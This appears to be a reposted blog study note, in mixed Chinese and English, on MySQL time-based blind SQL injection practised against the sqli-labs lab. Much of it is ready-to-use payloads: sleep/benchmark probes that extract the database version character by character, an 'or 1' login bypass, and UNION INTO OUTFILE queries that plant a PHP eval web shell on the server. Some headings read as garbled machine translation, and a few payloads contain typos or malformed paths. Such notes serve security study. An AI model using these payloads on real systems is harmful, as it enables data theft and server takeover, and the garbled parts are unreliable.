sql injection Day 32 Thursday

Delay blind function

sleep()

mysql的select sleep(5);

输出为零,如下图

benchmark

    根据返回参数来计算电脑性能,或者注入点

延时函数大部分都是零,在测试注入点中的延时函数就当前函数和sleep,

两个函数。

Analyzing the function statement case selcet

select if(1=1,version(),user()) 对的话输出version(),不对的话输出user()

常用于循环的switch环境,在select中也有替代,

case sva when 1 then 2  when2 then  234 end

case的变形应用,

case后的语句得出的数值,比较的出来的值是1或0


    手工自测,得出的数值,不是when后的数值,就将以NULL输出

And select a sleep binding

select length(version())>13; select if(1=1,1,0)
时间盲注: 
select if(length(version())>14,sleep(3),0)

' and 1 和 ' and 0 页面没有变化,需要用时间盲注

select 1 and sleep(3);

mysql中在and下,如果左边为真,右边就输出

select 0 and sleep(3);

mysql中在and下,如果左边为假,右边就不输出

或者
select 1 or sleep(3);

mysql中在or下,如果左边为真,右边就不输出啦。

select 0 or sleep(3);

mysql中在or下,如果左边为假,右边就不输出啦。

测试网站是否存在延时注入点

另外用 or时存在遍历问题,时间累加

时间盲注,谨慎用or(在不知道用户名的情况下,可以用or试一试)

and 左边为真,右边就会执行一次

or 左边为假,右边就会执行多次(根据数据判断)

Examples of the select statement is determined



Time (GET) operation example of blind

通过一下判断version长度:6
http://192.168.100.197/Less-9/?id=1' and case length(version())>5 when 1 then sleep(3) else 345 end#
或者
http://192.168.100.197/Less-9/?id=1' and case length(version())>5 when 1 then benchmark(10000000,md(1)) else 345 end#

http://192.168.100.197/Less-9/?id=1' and if(length(version())>10,sleep(3),0) %23

version的第一个字符 53
http://192.168.100.197/Less-9/?id=1' and case ascii(mid(version(),1,1))>52 when 1 then sleep(3) else 345 end#
或者
http://192.168.100.197/Less-9/?id=1' and if(ascii(mid(version(),1,1))>52,sleep(3),0) %23

version的第二个字符 46
http://192.168.100.197/Less-9/?id=1' and if(ascii(mid(version(),2,1))>45,sleep(3),0) %23

Time blinds (post) applications

时间延时盲注之post的应用需要用到burp修改数据包来看数据反应时间

也可用hackbar提交数据

报错型注入的post的应用




多语句输入

判断语句是否有注入

1" and 1 正常显示
1" and 0 不正常显示
1") --+

加双括号
1')) and sleep(3)

万能密码
admin' or 1 --+

%' 注入,比较特殊,大概用于模糊搜索框的应用

通过联合查询,给网站写shell文件:
http://192.168.100.197/Less-2/?id=-1+union select 1,(select '3c3f706870406576616c28245f504f53545b315d293b3f3e' into outfile 'http://192.168.100.197/#fm_imagemap/wss.php' ),3 into outfile --+

http://192.168.100.197/Less-2/?id=-1+union select 1,(select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/wss.php' ),3 --+


select  * from security.users where id='1' union select '<>',2,3 into outfile '/var/www/html/1.php'

Reproduced please indicate the source, welcome to the article cited sources of research, please point out any errors or expression is not clear enough. In the comments section below you can comment or e-mail to [email protected]

Original: Large column  sql injection Day 32 Thursday


Guess you like

Origin www.cnblogs.com/wangziqiang123/p/11618385.html